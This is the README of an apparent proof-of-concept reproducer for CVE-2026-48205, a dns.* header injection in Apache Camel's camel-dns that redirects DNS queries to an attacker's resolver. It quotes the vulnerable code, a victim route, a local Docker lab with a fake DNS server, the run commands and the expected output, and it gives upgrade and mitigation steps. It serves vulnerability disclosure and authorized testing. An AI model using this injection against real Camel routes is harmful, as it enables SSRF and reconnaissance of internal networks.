
Reproducer for CVE-2026-48205: Apache Camel camel-dns dns.* header injection redirecting DNS queries to an attacker-controlled resolver (SSRF via DNS) and enabling internal-hostname reconnaissance (fixed in 4.14.8/4.18.3/4.21.0)
dns.* / term Header Injection Reproducer (CVE-2026-48205)This project demonstrates a message-header injection in Apache Camel's camel-dns component, tracked as
CVE-2026-48205. The DNS producers read their operation parameters — the resolver to query, the name/domain to
look up, the record type/class and the search term — from Exchange headers whose constant values
(DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) were the plain strings
dns.server, dns.name, dns.domain, dns.type, dns.class and term. Because these names do not start with
the Camel / camel prefix, HttpHeaderFilterStrategy — which blocks only the Camel header namespace at the HTTP
boundary — let them pass from an inbound HTTP request straight into the Exchange.
In a route that bridges an HTTP consumer (for example platform-http) into a dns: producer, any HTTP client can
therefore set the dns.server header to make the dig producer build a SimpleResolver pointing at an
attacker-controlled DNS server — a server-side request forgery via DNS, through which the attacker observes the
queried name and can return poisoned responses — and can set dns.name / dns.domain to resolve arbitrary
internal hostnames (internal-network reconnaissance).
Advisory: https://camel.apache.org/security/CVE-2026-48205.html
The fix renames the headers to
CamelDnsServer/CamelDnsName/ etc., so they are filtered on the HTTP boundary like every other Camel control header. Same family as CVE-2025-27636, CVE-2026-46454 and CVE-2026-47323.
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) renames the values to the CamelDns* convention.
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
The route digs a fixed name against the default resolver. The attacker adds a single dns.server header and the
query is redirected to their DNS server. (dns.server is lowercase, so it survives a servlet container's header
normalisation — platform-http is enough.)
Everything runs in one self-contained container: the victim route, the attacker's fake DNS server (UDP 53), and the attacker driver.
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
The attacker's DNS server now sees the victim's lookup name (and could return a poisoned answer). Pointing
dns.server at a real internal DNS resolver, or setting dns.name to internal hostnames, enables reconnaissance
of the internal network.
Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). After upgrading, routes that drive DNS operations via
headers must use CamelDnsServer / CamelDnsName / etc.
Until upgrading, strip the dns.* and term headers from any untrusted ingress before the dns: producer, and
set the DNS server and lookup parameters from a trusted source in the route.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-dns |
| Affected Class | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (Improper Input Validation) / CWE-918 (Server-Side Request Forgery) |
| Impact | Redirect the route's DNS query to an attacker-controlled server (observe names, return poisoned answers); enumerate internal hostnames |
| Preconditions | A route bridges an HTTP consumer into a dns: producer; unauthenticated when the consumer is |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| Credit | Yu Bao (PayPal) |